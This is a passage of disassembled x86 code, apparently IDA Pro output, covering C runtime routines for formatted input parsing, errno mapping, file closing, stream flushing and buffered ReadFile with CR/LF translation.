		push	[ebp+var_28]
		call	sub_4265B0


loc_426201:				; CODE XREF: sub_425A04+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_426207:				; CODE XREF: sub_425A04+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_42621F
		dec	[ebp+var_C]
		jz	short loc_426243


loc_42621F:				; CODE XREF: sub_425A04+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_426160
; ---------------------------------------------------------------------------


loc_426235:				; CODE XREF: sub_425A04+788j
					; sub_425A04+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42647A
		pop	ecx
		pop	ecx


loc_426243:				; CODE XREF: sub_425A04+756j
					; sub_425A04+819j
		cmp	[ebp+var_17], 0
		jz	loc_426329
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_426329
; ---------------------------------------------------------------------------


loc_426265:				; CODE XREF: sub_425A04+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_426321


loc_42626F:				; CODE XREF: sub_425A04+90Aj
		cmp	esi, 78h
		jz	short loc_4262B3
		cmp	esi, 70h
		jz	short loc_4262B3
		cmp	dword_449A44, 1
		jle	short loc_42628E
		push	4
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_426299
; ---------------------------------------------------------------------------


loc_42628E:				; CODE XREF: sub_425A04+87Cj
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_426299:				; CODE XREF: sub_425A04+888j
		test	eax, eax
		jz	short loc_426313
		cmp	esi, 6Fh
		jnz	short loc_4262AC
		cmp	ebx, 38h
		jge	short loc_426313
		shl	edi, 3
		jmp	short loc_4262EB
; ---------------------------------------------------------------------------


loc_4262AC:				; CODE XREF: sub_425A04+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4262EB
; ---------------------------------------------------------------------------


loc_4262B3:				; CODE XREF: sub_425A04+86Ej
					; sub_425A04+873j
		cmp	dword_449A44, 1
		jle	short loc_4262CB
		push	80h
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4262D8
; ---------------------------------------------------------------------------


loc_4262CB:				; CODE XREF: sub_425A04+8B6j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_4262D8:				; CODE XREF: sub_425A04+8C5j
		test	eax, eax
		jz	short loc_426313
		push	ebx
		shl	edi, 4
		call	sub_426429
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4262EB:				; CODE XREF: sub_425A04+8A6j
					; sub_425A04+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4262FD
		dec	[ebp+var_C]
		jz	short loc_426321


loc_4262FD:				; CODE XREF: sub_425A04+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42626F
; ---------------------------------------------------------------------------


loc_426313:				; CODE XREF: sub_425A04+897j
					; sub_425A04+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42647A
		pop	ecx
		pop	ecx


loc_426321:				; CODE XREF: sub_425A04+865j
					; sub_425A04+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_426329
		neg	edi


loc_426329:				; CODE XREF: sub_425A04+843j
					; sub_425A04+85Cj ...
		cmp	esi, 46h
		jnz	short loc_426332
		and	[ebp+var_1C], 0


loc_426332:				; CODE XREF: sub_425A04+928j
		cmp	[ebp+var_1C], 0
		jz	loc_42640A
		cmp	[ebp+var_E], 0
		jnz	short loc_42636B
		inc	[ebp+var_34]


loc_426345:				; CODE XREF: sub_425A04+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_42635B
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_42636B
; ---------------------------------------------------------------------------


loc_42635B:				; CODE XREF: sub_425A04+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_426368
		mov	[eax], edi
		jmp	short loc_42636B
; ---------------------------------------------------------------------------


loc_426368:				; CODE XREF: sub_425A04+95Ej
		mov	[eax], di


loc_42636B:				; CODE XREF: sub_425A04+241j
					; sub_425A04+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_4263B8
; ---------------------------------------------------------------------------


loc_426376:				; CODE XREF: sub_425A04+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_4263E5
		mov	ecx, off_449838
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4263B8
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4263F3
		dec	[ebp+var_4]


loc_4263B8:				; CODE XREF: sub_425A04+970j
					; sub_425A04+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4263CE
		cmp	byte ptr [esi],	25h
		jnz	short loc_426410
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_426410
		mov	esi, eax


loc_4263CE:				; CODE XREF: sub_425A04+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_425A2E
		jmp	short loc_42640A
; ---------------------------------------------------------------------------


loc_4263DA:				; CODE XREF: sub_425A04+1F4j
					; sub_425A04+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4263EA
; ---------------------------------------------------------------------------


loc_4263E5:				; CODE XREF: sub_425A04+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4263EA:				; CODE XREF: sub_425A04+9DFj
		call	sub_42647A
		pop	ecx
		pop	ecx
		jmp	short loc_42640A
; ---------------------------------------------------------------------------


loc_4263F3:				; CODE XREF: sub_425A04+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_42647A
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_42647A
		add	esp, 10h


loc_42640A:				; CODE XREF: sub_425A04+1Fj
					; sub_425A04+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_426421


loc_426410:				; CODE XREF: sub_425A04+9BDj
					; sub_425A04+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_426424
		cmp	[ebp+var_15], al
		jnz	short loc_426424
		or	eax, 0FFFFFFFFh
		jmp	short loc_426424
; ---------------------------------------------------------------------------


loc_426421:				; CODE XREF: sub_425A04+A0Aj
		mov	eax, [ebp+var_34]


loc_426424:				; CODE XREF: sub_425A04+A11j
					; sub_425A04+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_426429	proc near		; CODE XREF: sub_425A04+7A3p
					; sub_425A04+8DCp

arg_0		= dword	ptr  4

		cmp	dword_449A44, 1
		push	esi
		jle	short loc_426443
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_426452
; ---------------------------------------------------------------------------


loc_426443:				; CODE XREF: sub_426429+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_449838
		mov	al, [eax+esi*2]
		and	eax, 4


loc_426452:				; CODE XREF: sub_426429+18j
		test	eax, eax
		jnz	short loc_42645C
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_42645C:				; CODE XREF: sub_426429+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_426429	endp


; =============== S U B	R O U T	I N E =======================================



sub_426460	proc near		; CODE XREF: sub_425A04+1E1p
					; sub_425A04+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_426472
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_426472:				; CODE XREF: sub_426460+7j
		push	edx
		call	sub_426826
		pop	ecx
		retn
sub_426460	endp


; =============== S U B	R O U T	I N E =======================================



sub_42647A	proc near		; CODE XREF: sub_425A04+6Bp
					; sub_425A04+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_426490
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_42BA6F
		pop	ecx
		pop	ecx

locret_426490:				; CODE XREF: sub_42647A+5j
		retn
sub_42647A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426491	proc near		; CODE XREF: sub_425A04+63p
					; sub_425A04+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_426497:				; CODE XREF: sub_426491+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_426460
		mov	edi, eax
		push	edi
		call	sub_423378
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426497
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426491	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264B5	proc near		; CODE XREF: sub_424450+16p
					; sub_426641+73p ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_426531
		mov	ecx, [esp+4+arg_0]
		xor	esi, esi
		mov	[eax], ecx
		mov	eax, offset dword_4496D0


loc_4264C8:				; CODE XREF: sub_4264B5+20j
		cmp	ecx, [eax]
		jz	short loc_4264EE
		add	eax, 8
		inc	esi
		cmp	eax, offset off_449838
		jl	short loc_4264C8
		cmp	ecx, 13h
		jb	short loc_4264FE
		cmp	ecx, 24h
		ja	short loc_4264FE
		call	sub_426528
		mov	dword ptr [eax], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4264EE:				; CODE XREF: sub_4264B5+15j
		call	sub_426528
		mov	ecx, dword_4496D4[esi*8]
		pop	esi
		mov	[eax], ecx
		retn
; ---------------------------------------------------------------------------


loc_4264FE:				; CODE XREF: sub_4264B5+25j
					; sub_4264B5+2Aj
		cmp	ecx, 0BCh
		jb	short loc_42651B
		cmp	ecx, 0CAh
		ja	short loc_42651B
		call	sub_426528
		mov	dword ptr [eax], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42651B:				; CODE XREF: sub_4264B5+4Fj
					; sub_4264B5+57j
		call	sub_426528
		mov	dword ptr [eax], 16h
		pop	esi
		retn
sub_4264B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426528	proc near		; CODE XREF: sub_4228B3:loc_422A65p
					; sub_422D1B+83p ...
		call	sub_42599D
		add	eax, 8
		retn
sub_426528	endp


; =============== S U B	R O U T	I N E =======================================



sub_426531	proc near		; CODE XREF: sub_424450+36p
					; sub_4264B5+1p ...
		call	sub_42599D
		add	eax, 0Ch
		retn
sub_426531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42653A	proc near		; CODE XREF: sub_4228B3+27p
					; sub_4228B3+E4p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_426558
		mov	ecx, off_449838
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4265AA
; ---------------------------------------------------------------------------


loc_426558:				; CODE XREF: sub_42653A+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_449838
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_42657D
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_426586
; ---------------------------------------------------------------------------


loc_42657D:				; CODE XREF: sub_42653A+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_426586:				; CODE XREF: sub_42653A+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42BADD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4265A6
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265A6:				; CODE XREF: sub_42653A+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4265AA:				; CODE XREF: sub_42653A+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_42653A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_425A04+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4265C9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4265C9:				; CODE XREF: sub_4265B0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265E4	proc near		; CODE XREF: sub_41186E+10Fp
					; sub_41186E+159p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_631AE0
		jnb	short loc_426629
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_426629
		push	edi
		push	esi
		call	sub_42BE86
		push	esi
		call	sub_426641
		push	esi
		mov	edi, eax
		call	sub_42BEE5
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426629:				; CODE XREF: sub_4265E4+Bj
					; sub_4265E4+26j
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4265E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426641	proc near		; CODE XREF: sub_4265E4+30p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42BE44
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42668F
		cmp	esi, 1
		jz	short loc_42665D
		cmp	esi, 2
		jnz	short loc_426673


loc_42665D:				; CODE XREF: sub_426641+15j
		push	2
		call	sub_42BE44
		push	1
		mov	edi, eax
		call	sub_42BE44
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_42668F


loc_426673:				; CODE XREF: sub_426641+1Aj
		push	esi
		call	sub_42BE44
		pop	ecx
		push	eax
		call	dword_42F038	; CloseHandle
		test	eax, eax
		jnz	short loc_42668F
		call	dword_42F068	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_426691
; ---------------------------------------------------------------------------


loc_42668F:				; CODE XREF: sub_426641+10j
					; sub_426641+30j ...
		xor	edi, edi


loc_426691:				; CODE XREF: sub_426641+4Cj
		push	esi
		call	sub_42BDC5
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		pop	ecx
		mov	eax, dword_6319E0[eax*4]
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_4266BF
		push	edi
		call	sub_4264B5
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_4266C1
; ---------------------------------------------------------------------------


loc_4266BF:				; CODE XREF: sub_426641+70j
		xor	eax, eax


loc_4266C1:				; CODE XREF: sub_426641+7Cj
		pop	edi
		pop	esi
		retn
sub_426641	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266C4	proc near		; CODE XREF: sub_422B96+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4266ED
		test	al, 8
		jz	short loc_4266ED
		push	dword ptr [esi+8]
		call	sub_4230B3
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4266ED:				; CODE XREF: sub_4266C4+Aj
					; sub_4266C4+Ej
		pop	esi
		retn
sub_4266C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266EF	proc near		; CODE XREF: sub_426782+4Cp
					; sub_426782+67p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_42671D
		test	eax, eax
		pop	ecx
		jz	short loc_426704
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426704:				; CODE XREF: sub_4266EF+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_426719
		push	dword ptr [esi+10h]
		call	sub_42BF07
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_426719:				; CODE XREF: sub_4266EF+19j
		xor	eax, eax
		pop	esi
		retn
sub_4266EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42671D	proc near		; CODE XREF: sub_422B96+10p
					; sub_422EA8+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_42676A
		test	ax, 108h
		jz	short loc_42676A
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42676A
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42AE6D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_426763
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_42676A
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_42676A
; ---------------------------------------------------------------------------


loc_426763:				; CODE XREF: sub_42671D+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_42676A:				; CODE XREF: sub_42671D+14j
					; sub_42671D+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42671D	endp


; =============== S U B	R O U T	I N E =======================================



sub_426779	proc near		; CODE XREF: sub_424828p
		push	1
		call	sub_426782
		pop	ecx
		retn
sub_426779	endp


; =============== S U B	R O U T	I N E =======================================



sub_426782	proc near		; CODE XREF: sub_426779+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	2
		xor	ebx, ebx
		xor	edi, edi
		call	sub_428436
		xor	esi, esi
		pop	ecx
		cmp	dword_632B00, esi
		jle	short loc_42680F


loc_42679B:				; CODE XREF: sub_426782+8Bj
		mov	eax, dword_631AE8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_426806
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_426806
		push	eax
		push	esi
		call	sub_42486B
		mov	eax, dword_631AE8
		pop	ecx
		pop	ecx
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4267F6
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4267DC
		push	eax
		call	sub_4266EF
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4267F6
		inc	ebx
		jmp	short loc_4267F6
; ---------------------------------------------------------------------------


loc_4267DC:				; CODE XREF: sub_426782+49j
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4267F6
		test	cl, 2
		jz	short loc_4267F6
		push	eax
		call	sub_4266EF
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4267F6
		or	edi, eax


loc_4267F6:				; CODE XREF: sub_426782+42j
					; sub_426782+55j ...
		mov	eax, dword_631AE8
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4248BD
		pop	ecx
		pop	ecx


loc_426806:				; CODE XREF: sub_426782+23j
					; sub_426782+29j
		inc	esi
		cmp	esi, dword_632B00
		jl	short loc_42679B


loc_42680F:				; CODE XREF: sub_426782+17j
		push	2
		call	sub_428497
		cmp	[esp+10h+arg_0], 1
		pop	ecx
		mov	eax, ebx
		jz	short loc_426822
		mov	eax, edi


loc_426822:				; CODE XREF: sub_426782+9Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_426782	endp


; =============== S U B	R O U T	I N E =======================================



sub_426826	proc near		; CODE XREF: sub_422C11+A9p
					; sub_42458A+34p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_4268FD
		test	al, 40h
		jnz	loc_4268FD
		test	al, 2
		jz	short loc_42684C
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_4268FD
; ---------------------------------------------------------------------------


loc_42684C:				; CODE XREF: sub_426826+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_426860
		push	esi
		call	sub_42B7F1
		pop	ecx
		jmp	short loc_426865
; ---------------------------------------------------------------------------


loc_426860:				; CODE XREF: sub_426826+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_426865:				; CODE XREF: sub_426826+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_426902
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4268EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4268EC
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4268C1
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4268AA
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_6319E0[edi*4]
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268AA:				; CODE XREF: sub_426826+6Bj
		mov	edi, offset dword_449A50


loc_4268AF:				; CODE XREF: sub_426826+82j
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_4268C1
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_4268C1:				; CODE XREF: sub_426826+62j
					; sub_426826+93j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4268DE
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4268DE
		test	ch, 4
		jnz	short loc_4268DE
		mov	dword ptr [esi+18h], 1000h


loc_4268DE:				; CODE XREF: sub_426826+A2j
					; sub_426826+AAj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4268EC:				; CODE XREF: sub_426826+55j
					; sub_426826+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_4268FD:				; CODE XREF: sub_426826+Aj
					; sub_426826+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_426826	endp


; =============== S U B	R O U T	I N E =======================================



sub_426902	proc near		; CODE XREF: sub_422C11+90p
					; sub_426826+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_631AE0
		jnb	short loc_42694F
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_42694F
		push	edi
		push	esi
		call	sub_42BE86
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_426967
		push	esi
		mov	edi, eax
		call	sub_42BEE5
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42694F:				; CODE XREF: sub_426902+Bj
					; sub_426902+26j
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_426902	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426967	proc near		; CODE XREF: sub_426902+38p
					; sub_42BF9A+274p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_426B39
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		mov	eax, dword_6319E0[ecx*4]
		lea	edi, ds:6319E0h[ecx*4]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_426B39
		test	cl, 48h
		jz	short loc_4269D2
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_4269D2
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_4269D2:				; CODE XREF: sub_426967+4Cj
					; sub_426967+53j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [edi]
		push	[ebp+arg_8]
		push	edx
		push	dword ptr [eax+esi]
		call	dword_42F054	; ReadFile
		test	eax, eax
		jnz	short loc_426A24
		call	dword_42F068	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_426A0C
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		mov	[eax], esi
		jmp	short loc_426A1C
; ---------------------------------------------------------------------------


loc_426A0C:				; CODE XREF: sub_426967+8Fj
		cmp	eax, 6Dh
		jz	loc_426B39
		push	eax
		call	sub_4264B5
		pop	ecx


loc_426A1C:				; CODE XREF: sub_426967+A3j
		or	eax, 0FFFFFFFFh
		jmp	loc_426B3B
; ---------------------------------------------------------------------------


loc_426A24:				; CODE XREF: sub_426967+82j
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_426B34
		test	edx, edx
		jz	short loc_426A49
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_426A49
		or	al, 4
		jmp	short loc_426A4B
; ---------------------------------------------------------------------------


loc_426A49:				; CODE XREF: sub_426967+D7j
					; sub_426967+DCj
		and	al, 0FBh


loc_426A4B:				; CODE XREF: sub_426967+E0j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_426B2E


loc_426A63:				; CODE XREF: sub_426967+1AFj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_426B1E
		cmp	al, 0Dh
		jz	short loc_426A7F
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_426B10
; ---------------------------------------------------------------------------


loc_426A7F:				; CODE XREF: sub_426967+10Bj
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_426A9D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_426A94
		add	[ebp+arg_8], 2
		jmp	short loc_426AF2
; ---------------------------------------------------------------------------


loc_426A94:				; CODE XREF: sub_426967+125j
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	[ebp+arg_8], eax
		jmp	short loc_426B10
; ---------------------------------------------------------------------------


loc_426A9D:				; CODE XREF: sub_426967+11Cj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [edi]
